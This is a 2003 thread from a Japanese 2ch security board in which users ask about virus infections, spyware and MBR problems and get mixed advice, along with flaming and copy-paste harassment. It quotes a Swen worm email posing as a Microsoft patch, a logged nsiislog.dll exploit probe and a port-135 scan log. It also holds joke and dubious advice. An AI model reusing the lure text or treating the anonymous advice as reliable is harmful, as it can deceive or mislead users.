http://pc.2ch.net/test/read.cgi/sec/1003987914/504

>>352-353への注意

Windowsのシステム復元機能を使った場合は必ずWindows update
し直して下さい。

>>331 >>335

Windows上書きインストールという大技があるそうです。
もし、あなたのパソコンで上書きインストールが可能ならウィルスを全部
削除して重要ファイルはバックアップしてからトライされたらどうですか？
http://www.sbpnet.jp/vwalker/feature/special_old/sp_20020101_fukugen/
http://www.geocities.co.jp/SiliconValley-Bay/5881/uwagaki_inst.html

>>331 >>335

忘れてました。>>339の前にこれの可能性がないか見てください。
http://homepage2.nifty.com/winfaq/c/oetrouble.html#319

（・∀・）

>>356-360

>>360
藪パソユーザーさん。忘れているのはこの質問に対する回答ですよ。

あなたはマイクロソフトの技術情報をあげて虚偽を指摘されても
http://pc.2ch.net/test/read.cgi/sec/1068471471/102　取り消そうとしないばかりか、
http://pc.2ch.net/test/read.cgi/sec/1068471471/110
名前：薮パソユーザー ◆0fQkHdNop2 [] 投稿日：03/11/12 11:43
> 本当にしつこい馬鹿がいますね。

等々の暴言を吐いて逆に指摘者を誹謗していますね。初心者部外者も多い質問板の性質上
放置しておくわけにはまいりません。ぜひ虚偽の取り消しと暴言の謝罪をお願いします。

以上、何度かお願いしてまいりましたが、まだ回答をいただいておりません。回答がいただけるまで
お願いを続けさせていただきますのでご承知おきください。

馬鹿age

>>360
335は別の人ですが、何か？
つーか、htmlからコード削除するだけでいいのに、何で上書きインストール薦めてるんだ？

>>346
そうなんですか、ありがとうございます。
消したほうがいいというサイトがあったもので…
安心しました。


しくこくなってしまいますが、
リカバリはしたほうがいいのでしょうか？
できれば？　それともすぐに？
するのならそれはウィルス全部に言えることなのでしょうか？

>>365

別の人って、>>335が>>331だと言ってたから、>>331=>>335という
前提で答えたのですけど。それとも自作自演で私をはめてるのですか？


335 ：331 ：03/11/17 17:15
ウィルスチェックしてみましたが、ウィルスは見つかりませんでした。
相変わらずＩＥは強制終了されてしまいます。
どうすれば良いのでしょうか？

>>366
ウイルス対策ソフトのサイトとかで危険度が高いものについては再インストールはすべき。
だけど、今回のVBS_REDLOF.Aについてはしなくても大丈夫。
精神的に気持ち悪いなら、再インストールしてもかまわないけど。

一番いいのは感染しないことなので、これからはセキュリティ意識を持って。

自作自演で私をはめてるのですか？
自作自演で私をはめてるのですか？
自作自演で私をはめてるのですか？

小規模MMO板(=ネットゲーム）から失礼します。

このたび、複数人のゲーム内の貴重なアイテムが盗まれる事態が発生しました。
http://game3.2ch.net/test/read.cgi/mmominor/1069086731/34-
ゲーム中に「他の方が接続を行っています」という警告がでたという報告もあったことから、
パスワードが盗まれた可能性が高い、とみられます。

これがQhostというトロイが原因か、お尋ねしたいのです


原因を追っていく段階でゲーム内であるプレイヤーが宣伝していたＵＲＬが怪しい、ということになりました
http://game3.2ch.net/test/read.cgi/mmominor/1069086731/97-

そのページのソースを見て、ソースに書かれているファイル名を検索した結果
ttp://www.excite.co.jp/world/url_cn/body/?wb_url=http%3A%2F%2Fminghui.cc%2Fmh%2Farticles%2F2003%2F11%2F11%2F60328.html&wb_submit=%E3%82%A6%E3%82%A7%E3%83%96%E3%83%9A%E3%83%BC%E3%82%B8%E7%BF%BB%E8%A8%B3&wb_lp=CHJA
のページがみつかりました。
文意をよみとってみるとなんらかのトロイであるようみられます

推測した結果
ttp://internet.watch.impress.co.jp/cda/news/2003/10/03/638.html
ではないかと結論をだしたのですが、それがあってるかどうか確かめるすべはあるでしょうか？

自分のつたない推測は
http://game3.2ch.net/test/read.cgi/mmominor/1069086731/111-
からです。

またttp://www.symantec.co.jp/region/jp/sarcj/data/t/trojan.qhosts.htmlの駆除プログラムで
問題なく解決するのでしょうか、至らないところがあればご指摘ください

パソコンを立ち上げると同時に「washing your system crean!」という表示が画面いっぱいに出て、全部英語なので読めなくて適当に×印を押すと、「waiting…○％」と表示され、１００％になると普通の画面に戻ります。
立ち上げる度なので面倒くさいのですが何かのウイルスなんでしょうか…?

>>370
どうやってQhostと推測したの?
asp,キーロガー,トロイの木馬の組み合わせからだったら短絡的過ぎ。
とりあえず>>370の英文ページ
http://www.clearwisdom.net/emh/articles/2003/11/16/42294.html

バスターやノートンのオンラインスキャン、↓の評価版でスキャンしてみなされ。
http://pc.2ch.net/test/read.cgi/sec/1029135457/l50

>>371
マルチ

>>370
ファイル名のみでウイルスの種類を特定するのは無理がありすぎ。

たとえばttp://www.symantec.com/region/jp/sarcj/data/t/trojan.qhosts.html
に書かれているようなレジストリの変更などの症状はあったのかい？
lhxyexe.exeをシマンテックに送りつけてを解析してもらえ

回答ありがとうございます
いくつか符合してる点があったと感じてしまったのでたしかに短絡的に考えてました
自分は感染して無いのでスレッドの方に実行するようお願いしてみます。

タスクトレイにDameWare というアイコンができて消せません
消し方教えてください
OSはWinsows2000です

>>375
氏ね。

あぼーん

>>371

スパイウェアだと思います。
Windows XPかMEならシステム復元で戻してその症状が消えたのを確認して
復元機能を一旦無効にしてください。そしてウィルスチェックして
復元機能を再度有効に戻してください。それからWindows updateして
ください。
復元機能が使えない場合はad-awareでスパイウェア削除してください。
それでも駄目なら次のいずれかに行ってください。

（１）エロサイト見たら・・・助けてください！　＠初心者板
http://pc2.2ch.net/test/read.cgi/pcqa/1067657959/3-4

（２）【アダルトサイト被害対策の部屋】
http://higaitaisaku.web.infoseek.co.jp/index.html

>>375

遠隔操作ツール（製品版トロイ）ですね。
Windows XPかMEならシステム復元で戻してその症状が消えたのを確認して
復元機能を一旦無効にしてください。そしてウィルスチェックして
復元機能を再度有効に戻してください。それからWindows updateして
ください。
復元機能が使えない場合はPestPatrolでチェックしてください。
DameWare Mini Remote Controlなら、↓を参考に駆除してください。
http://www.pestpatrol.com/PestInfo/d/dameware_mini_remote_control.asp

>>375

すみません。Win2000だったんですね。>>379の前半部分は無視して
ください。
それから、そういうのを仕込まれないように注意してください。

先程、オンラインチェックでpc購入後4年目にして
初の一件hitしてしまったんですが、先輩方ご教授おながいします。
「JS，SPAWN.A」というのが、Temporary　internet　Files...にあるとのこと。
コレってヤバイですか？それとも、何かのキャッシュで無害でしょうか？
ちなみに、ｽﾀｰﾄﾒﾆｭｰからのファイル検索では見つからず
直に、Temporaryから削除してみようか・・と思ったのですが
それでも見つけられませんでした。

よろしくお願いします。

未だにこんな感じで135番にアクセスがあります。↓
2003/11/19 09:54:28 IP_Filter REJECT TCP 81.61.129.119:2181 > 【ルーターのIPアドレス】:135 (IP-PORT=7)

これってＭＳブラスターですよね？

>>368
はい、今まで意識が低すぎた事を実感しています。
どうもありがとうございました。

pcを起動すると
申し訳ありませんが新しく更新したファイルかソフトウエアが原因で
起動できませんでした。
などと唄ってきてセーフモードや再起動,AGVモードを有効にする
などコマンドが表示されるが結局どれ選んでも同じ事の繰り返しになってしまう
のですが、当然、前の状態にｐｃを戻す事もできなく困ってます。
どなたか経験のある方、対処法を教えてください。駆除ツール
とかありますでしょうか？

>>384
もっとメッセージを完全に書いてくれないと意味がわかりません
その材料からでは駆除されるべき存在はあなたです

ん？まぁ、経験ある人はぴんとくるはずだからね
、、そうじゃない人には語りかけてない。

>>384
ああ、俺もなったことあるよ。

再インストールしろ。

>>386
FDISK→FORMAT　クリーンインストール

>>384
ウィルスが原因とはかぎらない。
ヤブ釣でなければ初心者板へGO

静かに汁
　　　　　　 /:
　　 ∧∧ /　 :
　　(;´ー`/　 　 :
＿ / つ/） ＿　　:
〜（⌒）__） 　/|　,, :
￣￣￣￣￣|/,,,　. ／⌒ヽ　
￣￣￣￣￣|/,,,　　　　（=ﾟωﾟ=　）
　　　　　　　　〜〜〜〜〜〜〜〜⌒ヾ〜〜〜

>>384
　　　　　　｜
　　　　　　｜
　　 ぱくっ｜
　　　　　／V＼
　　　　/◎;;;,;,,,,ヽそんなエサで
　＿　ﾑ::::(,,ﾟДﾟ)::| 俺様が釣られると思ってんのか!!
ヽﾂ.（ﾉ:::::::::.:::::.:..|）
　 ヾソ:::::::::::::::::.:ﾉ　
　　 ｀ ー U'"U'　　　　　　

コンピュータ・アソシエイツ、消費者向けウィルス対策ソフトを1年無料提供 (ロイター)
［ニューヨーク　１８日　ロイター］
　米ソフトウエア大手のコンピュータ・アソシエイツ・インターナショナル（ＣＡ）は、
ウィンドウズ利用者向けに１年間無料でウィルス対策ソフトウエアを提供する、と発表
した。
　発表によると、業務用のウィルス対策およびファイヤーウォール・ソフトの消費者向
版である「イートラストＥＺアーマー」が提供される。
　同社は業務用のウィルス対策ソフト市場では大手だが、消費者向けの同市場では目立
たない存在。
　同社は、米ソフトウエア大手のマイクロソフトの「プロテクト・ユアＰＣ」キャン
ペーンの一環として今回の無料提供を積極的に進める、としている。
[ 2003年11月19日10時42分 ]

これいいのかしらん？

http://www.my-etrust.com/microsoft

噂のコンピュータアソシエイツのウィルス対策ソフト也

>>392-393
スレキボン

>>394
http://pc.2ch.net/test/read.cgi/sec/1068909338/

>>394
http://download.com.com/3302-2239_4-10190156.html?pn=2&fb=0
ここのユーザーアンケートによると79票のうち（･∀･)ｲｲ!が７割、(･A･)ｲｸﾅｲ!!
が３割。大手のメジャーソフトにしてはあまりよくない。(･A･)ｲｸﾅｲ!!の内容
も「漏れのパソめたくたにぶっ壊された！」というようなホラーストーリー。
双方の工作員もいるだろうがｗ、もう少しいろいろ評価が出てくるまで実用の
ためのインスコは待ったほうがよさげ…人柱はキボンだけどｗ

(´･ω･`)

>>397
テンポラリファイル消して、検出されなきゃ大丈夫だろう。

>>381

それはいわゆるブラクラの一種みたいですね。
別に削除の必要はないと思いますが、削除される場合は、削除の前に記念に
保存されたらいかがですか？
http://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=JS_SPAWN.A&VSect=T
>この不正スクリプトが実行されると、ブラウザのウインドウが画面の上を
>ボールのようにバウンドします。このページを閉じようとすると、30個の
>新規のブラウザを立ち上げて同じ画面を表示します。これらの新規の
>ウインドウうちのどれかをクローズしようとすると、更に30のウィンドウを
>次々に表示します。また、システム改変は行ないません。

削除の前に記念に 保存されたらいかがですか？
削除の前に記念に 保存されたらいかがですか？
削除の前に記念に 保存されたらいかがですか？

委員でないの？それともあれかウィルス保存するのはイカの金玉なんか？

イカには金玉はありませんが？

>>399　XXXX藪パソユーザーさんXXXX
あなたはマイクロソフトの技術情報をあげて虚偽を指摘されても
http://pc.2ch.net/test/read.cgi/sec/1068471471/102　取り消そうとしないばかりか、
http://pc.2ch.net/test/read.cgi/sec/1068471471/110

名前：薮パソユーザー ◆0fQkHdNop2 [] 投稿日：03/11/12 11:43
> 本当にしつこい馬鹿がいますね。

等々の暴言を吐いて逆に指摘者を誹謗していますね。初心者部外者も多い質問板の性質上
放置しておくわけにはまいりません。ぜひ虚偽の取り消しと暴言の謝罪をお願いします。

以上、何度かお願いしてまいりましたが、まだ回答をいただいておりません。上記は
あなたが広めた虚偽レスのほんの一例ですよ。「Outpostファイアウォールはデフォールト
でブラスタに無効」など実害のあるデマは数えればきりがありません。納得いく回答が
いただけるまでお願いさせていただきますのでご承知おきください。

>>386
あなたの脳の日本語を操作する中枢がポリモーフィックウィールスに
破壊されています。その他の部分も破壊されている可能性がありますが
確かではありません。アンチドートでスキャンした後復元ポイントを実行し
ネットランナーの今年の１月号の表紙を焼いた灰を１�gのミネラルウォーター
に溶かして服用してください。

↑偽者です。

まだ偽善を振りまいていたのか、藪は。

>>404は偽物ですが、>>405は有害物質のくせにコテハンアピールするキチガイです。
何ら変わりありません。

漏れが言っているのは当然>>405の藪のことだが。

っていうか、トリップであぼーんしてるから
>>407がアンカー付けてなかったら分からんかったし。
偶然って怖いな。

質問です
Windowsの動作が最近不安定で気になっています。症状としては反応が鈍いくらいなんですが・・・Nortonのログを見てみると
「msblast.exe」という履歴が残っていました。しかも4件。状態的には感染しており削除も免疫もききません

それでMSのセキュリティパッチをあてシマンテック社のmsblast検知ソフトでスキャンしたのですが何も見つかりません

またタスクマネージャのプロセスで「msblast.exe」というファイルがないか見てみたのですが、ありませんでした・・・

あ、途中ですみません
この状況で本当にmsblastに感染しているのでしょうか？

>>409
原因がﾌﾞﾗｽﾀ以外にあるという事じゃないかと思うんだが。

ﾌﾞﾗｽﾀの亜種かな？

>>410
まず感染はしてないと思うが、シマンテックだけじゃｱﾝｼﾝできんなら
トレンドのオンラインスキャンもかけてみれ
http://www.trendmicro.co.jp/hcall/index.asp
それからSpybotかなんかでアンチスパイのスキャン。
それでも何も出てこなかったらディスククリーンアップしてディスクデフラグ
かけてみろ。多少は改善されるかも。

>>410
亜種の場合、本体ファイルが msblast.exe であるとは限らない。
ttp://www.trendmicro.co.jp/msblast/tool.asp
に、亜種のそれぞれの本体名があるので、一応、チェックしてみては？

http://www.symantec.com/region/jp/sarcj/data/h/hacktool.wsrshell.html

Hacktool.WKRShell
セキュリティホール memo
http://www.st.ryukoku.ac.jp/~kjm/security/memo/

Workstation サービスのバッファオーバーランにより、コードが実行される (828749) (MS03-049)
http://www.st.ryukoku.ac.jp/~kjm/security/memo/#20031112_MS03-049
EEYE: Windows Workstation Service Remote Buffer Overflow (eEye、2003.11.12)
http://www.st.ryukoku.ac.jp/~kjm/security/ml-archive/bugtraq/2003.11/msg00140.html
MS03-049が危険な理由 (ZDNet)
http://www.zdnet.co.jp/enterprise/0311/14/epn02.html

どうもありがとうございます
調べてみます

今日（日付でいえば昨日）、やたら大量にウイルス来たんだけど、
20日は活動日？

夜分にすいませんが、質問させてもらいます。
私は昨日自分のＰＣをネットをつなげた状態で使っていたのですが、しばらく使った後
いきなり全画面が真っ白になったかと思うと、真っ暗に反転し画面の真ん中に女の人の顔
（よく覚えてませんが相当怖い顔）が現れ、叫び声を上げ続けたのです。私は半ばパニック状態になり
強制終了することでその場を逃れました。（最小化、最大化、閉じるの表示アイコンが
無かったので強制終了しました。）それで次の日にまたＰＣを起動させてネットを切った
状態で２時間程度色々と使ってみたのですが、同じ画像は出てきませんでした。
なおインターネットの履歴を調べたのですが、それらしき履歴はなかったです。

それにこの画像は私には見覚えがあったものでした。一ヶ月くらい前にフラッシュ系のリンクを集めた
サイトで同じものを一回だけ見ていたのです。それで、私はその時に何らかのプログラムかウィルスが
侵入したのかと思い、色々とそのことについて検索をかけてみたのですが　
JOKE_MADO.A
HIKARU.A
等の似たようなウィルスは見つかるものの
全く同じ内容のウィルスは見つかりませんでした。
この現象はウィルスによるものなのでしょうか？

どなたかこのことについてご存知でしたらご助力願います。
宜しくお願いします。

>>418
タスクスケジューラーから起動されるように設定されていれば、そのように時間差で
いきなり変な画面を表示させることも、たやすく出来てしまうんだよ。
また、○月○日の○時○分に実行なんてことも出来るんだよ。

>>418
メモ帳でwin.iniを開いてrunの項目に妙なもんがないか調べる。
あとベクターから「窓の手」を落としてきて「自動実行プログラム」
を調べる。→心当たりないものはファイル検索して更新日付や
サイズ、作成者などを調べる。

エロサイト見たら・・・助けてください！Part15
http://pc2.2ch.net/test/read.cgi/pcqa/1067657959/
被害対策の部屋
http://higaitaisaku.web.infoseek.co.jp/

>>419さん、420さん
アドバイスありがとうございます。
さっそくやってみます。

すごく初歩的な質問で申し訳ありませんが
日本ではウィルスを配布しても法律によって
処罰されないのでしょうか?

調べてもされないような感じでしたのでここで聞かせていただきました

知らん。がもし日本で駄目でも他の国で配布されてたらダウン出来るね。ネットですから。

PCの動きがやたらと遅いのでオンラインウィルス検査してみると感染ファイルがあるとの事。4500くらい。
PC詳しく無いので手っ取り早くリカバリで解決しようとしたんですが、
ウィルスの影響なのかリカバリCDが実行されず普通の起動画面に変わってしまう。
マニュアルに書いてあることは一通りやりましたが無理でした。
どうすればいいんでしょうか…、2年前の富士通ノートです。

>>424
F2 ボタンを押して、BIOSメニューを開き、BOOT の先頭に CD-ROM を指定する。

>>424

可能性としては、

（１）ＣＤを第一起動にしていない。→パソコンの説明書を見る。
（２）ＢＩＯＳがウィルスにやられた。→メーカーＨＰでＢＩＯＳをget
（３）ハードが壊されている。→修理に出す。

426 薮パソユーザー ◆0fQkHdNop2 sage New! 03/11/23 16:03
（２）ＢＩＯＳがウィルスにやられた。→メーカーＨＰでＢＩＯＳをget

？

ウイルスかわからないのですが非常に困っているので質問させて下さい。

XPを使っているのですが、昨日ちょっと調子がおかしくなってきたので、とりあえず再起をしてみたんです。
そうしたら、今度はほとんどのソフトが立ち上がらなくなってしまいました。
正確には、立ち上がるんですが、途中で完全に立ち上げるのをあきらめている感じです。
セーフモードで起動してエラーチェック、システム復元で２週間前くらいまで戻したんですが、結局治りません。

具体的には、メモ帳や計算機、それからフォルダ内だけで処理をする軽いソフト、それからなぜかワードは開くんですが、
それ以外の、特にネットに入るものは全く無理です。
IEも開きません。

でも、ネットへの接続はできる状態です。

ただIEが開かない為か、フォルダ内を見る事もCやマイコンピューターに入る事も出来ないんです・・・。
ちなみにこの書き込みはMACのノートでダイヤルアップで入ってるんですが・・・

ノートンもかけてみましたが、引っかかりませんでした。
ただ、ここしばらくアップデートをしてなかったように思うので、全然意味ないですね・・。
セーフモードで開くと、ノートンは立ち上がるけどネットに入れない、まともに立ち上げるとネットには入れるけどノートンが開かない、という状態になってしまいました・・。

３、４日前に「お久しぶりです」という件名で中身がなにも書いてなく、よく分からない拡張子のファイルが
添付されてるメールが来て、ファイルのDLはしなかったんですが、メール自体だけ開いてしまったんですが・・
やっぱり感染しちゃったんでしょうか？
それともウイルスは関係ないのでしょうか？
ちょっと本気で困っているのでよろしくお願いします。。

>>428
ageてるし、ダラダラ書いているし、見覚えがあるのに何もしていないみたいだからペケ
自分が出来る範囲の対策を全て試してから戻って鯉

そんなあ・・・
正確に書こうと思っただけなのに・・・
でも、見覚えあるって事はやっぱりウイルスなんですか？

ていうか自分で出来る範囲を（１０時間近く）やっても駄目だったからここに来てるのに・・・

せめてスレッドかウイルス名だけでも教えて下さい・・・；＿；

10時間あれば再インスコしてから、元の状態に戻してもお釣りがくるね

もういいーー；

hackの本を買いたいのですが何がおすすめ？

>>423　薮パソユーザー ◆0fQkHdNop2さん
あなたはマイクロソフトの技術情報をあげて虚偽を指摘されても
http://pc.2ch.net/test/read.cgi/sec/1068471471/102　取り消そうとしないばかりか、
http://pc.2ch.net/test/read.cgi/sec/1068471471/110

名前：薮パソユーザー ◆0fQkHdNop2 [] 投稿日：03/11/12 11:43
> 本当にしつこい馬鹿がいますね。

等々の暴言を吐いて逆に指摘者を誹謗していますね。上記はあなたが広めた虚、暴言
のほんの一例です。「Outpostファイアウォールはデフォールトでブラスタに無効」など
実害のあるデマは数えればきりがありません。初心者部外者も多い質問板の性質上放置
できません。虚偽の取り消しと暴言の謝罪をお願いします。

以上、何度かお願いしてまいりましたが、まだ回答をいただいておりません。

sine

Ｑ．>>428の感染したウィルスはどの系統？

１．FBOUND.B, FBOUND.C
２．SWEN.A
３．それ以外

ちなみに>>117の書き込みはMACのノートでダイヤルアップで入っていて
おまけにマルチなんですが・・・
http://pc.2ch.net/test/read.cgi/sec/1068300966/428-432

>>437
117って何かと思ったら
http://pc.2ch.net/test/read.cgi/sec/1068311899/117
か

>>428
>自分で出来る範囲を（１０時間近く）やっても駄目だったからここに
んなこと、１文字も書いていないから「何もしていない」と判断されても仕方が無い

で、どんな対処をしたの？
またダラダラ書きそうだったら、身近の知っている人に聞いてね。

>>434
粘着コピペ房うざい、消えろ。

WORM_AGOBOT.AOって、新種のワームかな？
検索しても英語ＨＰで少ししか、かからなかった。

>>428

アンチドートでウィルスチェックしてください。
http://pc.2ch.net/test/read.cgi/sec/1003987914/504
ウィルスがいたら面倒なのでＯＳ再インストールしてください。
ウィルスが検出されなかったら重要ファイルをバックアップして
Windows上書きインストールにトライしてください。

そしていずれの場合もWindowsとセキュリティーソフトのアップデートは
ちゃんとやってください。

>>441

http://www.sophos.co.jp/virusinfo/analyses/w32agobotaa.html
http://www.f-secure.co.jp/v-descs/v-descs3/agobot.htm

>>442
幾ら貰ってるんだよ。
コピペうざ。
リアルで相手にされないって悲しいことだな(w

>>442-443　薮パソユーザー ◆0fQkHdNop2さん
あなたはマイクロソフトの技術情報をあげて虚偽を指摘されても
http://pc.2ch.net/test/read.cgi/sec/1068471471/102　取り消そうとしないばかりか、
http://pc.2ch.net/test/read.cgi/sec/1068471471/110

名前：薮パソユーザー ◆0fQkHdNop2 [] 投稿日：03/11/12 11:43
> 本当にしつこい馬鹿がいますね。

等々の暴言を吐いて逆に指摘者を誹謗していますね。上記はあなたが広めた虚、暴言
のほんの一例です。「Outpostファイアウォールはデフォールトでブラスタに無効」など
実害のあるデマは数えればきりがありません。初心者部外者も多い質問板の性質上放置
できません。虚偽の取り消しと暴言の謝罪をお願いします。

以上、何度かお願いしてまいりましたが、まだ回答をいただいておりません。

>>445
粘着もここまでくると馬鹿だな（ｗ

薮さえ回線切ってくれれば問題ない訳だが

なんで漏れのことがわかったんだろう…

>>415でｶﾞｲｼｭﾂのMS03-049脆弱性ですが、ウィールスが出たら
ネットにつないでるだけでもシステム乗っ取られるというからブラスタ
なみにｺﾜｲ。スタンドアローンのPCの場合はWorkstation サービス
自体を無効にしておくのがよさげ。Blasterスレ　part5　
http://pc.2ch.net/test/read.cgi/sec/1065964513/423

コントロールパネル→管理ツール→サービス→「Workstationサービス」選択
プロパティ→サービスの状態：停止、スタートアップの種類：無効

もちろんあとでWindows Updateしとかなきゃいけませんが、updateした
からといってMSのバグがﾀﾈｷﾞﾚのわきゃない。なくてすむサービスは
捨てておくのが吉でせう。

なんどもすいません。
とりあえずウイルスバスター2004体験版を
いれてスキャンしたのですが、
反応がなかったということは
もう感染してないと思っていいのでしょうか？

>>450
感染してると思われる兆候はあるのか？

>>447
ただ不安がっていてもしょうがない。とにかく
　アンチウィールス（AVG、Antivir）
　アンチスパイ（Ad-aware、Spybot）
　ファイアウォール（Zone Alarm、Outpost）
の三点セットを入れろ。どれもフリーでセキュ板に専用スレがある。
ファイアウォールは複数インスコするとバッティングするから注意。
ZoneAlarmは設定簡単だが重い、Outpostは機能が豊富で軽い。

自宅の鯖に

www.nstec.jp - - [24/Nov/2003:11:53:12 +0900] "GET /scripts/nsiislog.dll" 403 - "-" "-"

こんなログが残ってたんですけど、この会社は逝ってよしですか？まじで。

ｷﾀ━━━━━━(ﾟ∀ﾟ)━━━━━━ !!

最近ウイルススキャンすると、あるファイルに10分かかってしまいます
ノートン先生が原因だとおもって、ウイルスバスター体験版ＤＬしても
同じ症状です。これって普通？

>>455
圧縮ファイルですな。
よほどファイル数が多いか、階層が細かいので時間がかかっているだけでしょう。

>>456
そ〜なんですか、ＰＣに異常があるかとおもってました。
ありがとです

>>451
兆候、というか
Redlof.Aがまだ心配なだけです
（小心者ですいません）
ワクチンをちゃんと買おうとは思っているのですが…

ウィルス対策ソフトを使わずにネットに接続しているのは犯罪のようなものだと思うが
今もnachiに感染したままping撃ち続けてる奴の多いこと
ここしばらく回線が重いのはおまいらのせいだぞ、と

>>458
製品版買ってきて更新してスキャンして常駐して使えばそんな心配も消えるだろうよ

突然すいません。
家に不在中、ウイルスバスターの手動検索にて
【SPYW_EXACTBAR.A】という名前のウイルスが検出されました。
このウイルスはどのような悪影響を及ぼすのかと思い、
Google、トレンドマクロのウイルス検索にて調べたのですが
何のウイルスかわかりませんでした。
誰かわかる人がいましたら、情報いただけませんか？
長文になってすいません。

>>461
SPYWはたぶんspywareの略だった気が
ってことで
http://securityresponse.symantec.com/region/jp/sarcj/data/a/adware.exactbar.html
このあたり近そう

>>462
ありがとうございます。上記のサイトで説明書きを読んだところ
C:\Program Files\eXact\eXactToolbar.dll
C:\Program Files\eXact\CloseWindow.exe
が、バスターにより発見されていたのでそのとおりでした。
個人情報抜かれるなどの大きな悪影響もなさそうですし、
安心して削除できます。本当にありがとうございました。

３ヶ月Win2000がHDに入らないので色々試していたところ、
先日NortonAntivirus2003にて、Wxy.C(b)が見つかりました。
駆除してHDDにインスト試みましたが入らず、何回も”windows２０００インスト＆ノートンCDでVirusチェック”
を試すうちにEek(b)を発見しました。それも駆除してもまだWin2Kは入りません。
HDDにはOsのWinMeがまだ生きており、こうして書き込めます。ほかのパーティションは消しました。
Fdisk/Mbrしてもインストできないので、（MBRSCANで）ダンプしたところ奇妙なメッセージ郡が出てきました。
どなたかこのHDDに無事Win２Kを入れる為の知恵を貸してくださいませんか？

ハードディスク　FUJITSU MHT2060AT で　６０Ｇ
ＯＳ　　　　　　第２パーティションにｗｉｎＭｅ
最終的にＭＢＭをＭＢＲに入れて、Ｗ２Ｋを入れる予定です。
メッセージ群はＭＢＲＳＣＡＮでバイナリデータの所に、意味不明の
漢字キャラクターやＭＢＭＨａｓＢｒｏｃｋｅｎなど。ファイルが壊れているとの
メッセージが大量に書き込まれています。　Fdisk/Mbrでもそれはほとんど変わりません。
多分ＭＢＲのパーティションテーブル以外の所は確実に支配されているようなのですが。。

>>464
2000をクリーンインストールすればいいだけでしょ？
必要なデータなんかはバックアップしておけばいいし。
ウイルスチェックなんかは2000インストールしてからでいくらでもできるし。

>>464
なんだか、GoBackとかいろいろ入れてそうだな！
fdisk /mbrをやって取れないウィルスなんてない。
そのインストールしようとしているパーティション自体、インストールCDで認識していないんじゃないのか？
その領域は、いったん開放してから切りなおしてやる必要がありそうだな。

MBM使うなんていっているけど、Meがインストールされている領域は、
隠しといてから、2000を入れなきゃならないことぐらいは判っているんだろうな！
アクティブにしてから、インストールしなきゃダメだし。

まず最初にレスサンクス！です。
クリーンインストはＨＤＤの完全クリーンはまだしていません＾＾；
Ｍｅのパーティションを残して、２０００のクリーンインストはもう１０回。。
ＭＢＭとも長い付き合いです。マスクくらいはしていますが。。。
何処のサイトを見てもブート感染型の”プログラム”の対処法は電源断で
悪質プログラム消去（またはＭＢＲ消去）であとは再感染しないように
レスキュー、が基本ですが。　Ｆｄｉｓｋ／Ｍｂｒで消えない常駐なんて
見たことも聞いたこともない。。。もちろん今の感染状態で、ノートンも
発見できない状態。でもＭＢＲがなんかおかしいのは判る。。。Ｗ２ｋもインストできず。。

＜４６７さん
パーティションはまず切りますよね。ＦＤ起動します。ＦＤもＷ２Ｋと
Ｗ２Ｓ、Ｍｅ、９８、があり、（９ｘＦＤからの場合はＨＤＤにコピーして１回目の
再起動後、インストするファイルのコピーに失敗）Ｗ２Ｓの場合は起動ディスク３枚目で
エラー、Ｗ２ＫのＦＤの場合は起動ＦＤは読むがＣＤ挿入後の再起動で、もうＣシステムも見えない状態に。
ややこしいですが、多分どこかにウィルスがまだいると思うのです。だからＭＢＲの
書き換えも失敗するのではないか。。。失敗とはいってもコマンドは通ります。
本当はパーティションテーブルが怪しいと思って、ダンプしたら、ＭＢＲコマンドが
機能していないのが判明した、、、という顛末でした。開放というのは切り直しということだったら、
もう何回か切り直してます。どこにウィルスが潜んでいるんだろう。新種かな。。

>>470
2000をインストールする領域をまずアクティブにする。その後フォーマットしてから
インストール。
Meが起動しているんだから、mbrに異常はない。

C:\WINDOWS>mbrscan sd
MBRSCAN V1.11 Copyright (C) 1995-2003 by Nobumichi Kozawa
MBRS002 Error(int1348) Get Geometry Failed. RC=7 drive parameter activity failed
(hard disk)
以下私のダンプしたＭＢＲのバイナリ？です。ＭＢＭが入っているときはＭＢＭ has broken等と出ました。
3ﾀ社ｼ |�P P ・ |ｿ PWｹ・ﾋｾｾ ｱ8,| u θ 糢ﾍ ・・�淅 It 8,t Nｬ
< t�ｻ ｴ ﾍ ・宇%槙F ｴ < t ｴ < t:ﾄu+@ﾆF% u$ｻｪUPｴAﾍ Xr ・Uｪu  t
癌・$ﾇ ｡ ・・ ｿ ｸ 衿3ﾉ・  起% N ﾍ r)ｾF ・�}UｪtZ・ ﾚ・u・' ・
釜然・F V ・ Z・ﾕOt・ﾀﾍ ・ �BB!V3VRP SQｾ V偶　（以下略）
＜471様　Meは動きますが、Mbrが正常でない可能性があるとは思うのですが。。
MeにあるPartitionMagic8.0でもこのMeパーティションを動かそうとするとエラーが出ます
クラスタの破損エラーです。思うにパーティションやブートを司る部分が何らかの暗号化された
プログラムに偽装されているから、クラスタエラーと出るのでは。。。スキャンディスクでは
エラーは出ません。またノートンでもHDDの感染も確認できません。もし上のイメージがおかしい場合、
どなたか指摘をお願いします。

PRｸ B碍$ﾍ ZX硬 r @u B�ﾇ 糯ﾃ・Invalid partition
table Error loading operating system Missing op
erating system　　＜これが先ほど略した続きです。これで全部です。m()m
長々と申し訳ありません。　今日は再度ディスクチェックをセットして寝ます。
MBRS011 Geometry was not saved. Assuming HH = FF, SS = 3F
MBRS005 Geometry was not saved. Free space after 044F1894 is unknown.
MBRSCANではエラーはあとこれ↑が出ました。ジオメトリが。。。（泣いちゃだめだ。。）

q783568.exeってのを添付して下記の文面のメールを
送りつけられてきたのですが、これって、ウィルスメールでしょうか？
このメールと他に数件同時受信したときに
NortonAntiVirusが検知したのですが、どのメールに反応したのか
よくわかりませんでした。文章には、
MicrosoftCorporationの文字がはいってまして、それっぽくもあるのですが、
メールで送りつけてくるのも妙な気がしますし、みなさんのとこには
来ませんでした？以下、文面の一部です。

MS User
this is the latest version of security update,
the "November 2003, Cumulative Patch" update which
resolves all known security vulnerabilities affecting
MS Internet Explorer, MS Outlook and MS Outlook Express
as well as three newly discovered vulnerabilities.
Install now to help maintain the security of your computer
from these vulnerabilities, the most serious of which could
allow an attacker to run code on your computer.
This update includes the functionality of all previously
released patches.

ttp://www.microsoft.com/japan/technet/treeview/default.asp?url=/japan/technet/security/virus/swen.asp

>>474へのレスね。

>>474-475
すみません、質問ですが、これ、現在どこかで猛繁殖してますか？
普段は多くても50通/dayなんですが、今起きてメールチェックしたら
400通ちょっと来てたんですが……
まさかウイルスが50MB以上も来るなんて思ってなかったので
ちょっとびびってます。

>477
475ではありませんが、「何を今更」というくらい猛繁殖してました。
（過去形なのは、ピークは過ぎたようだから）

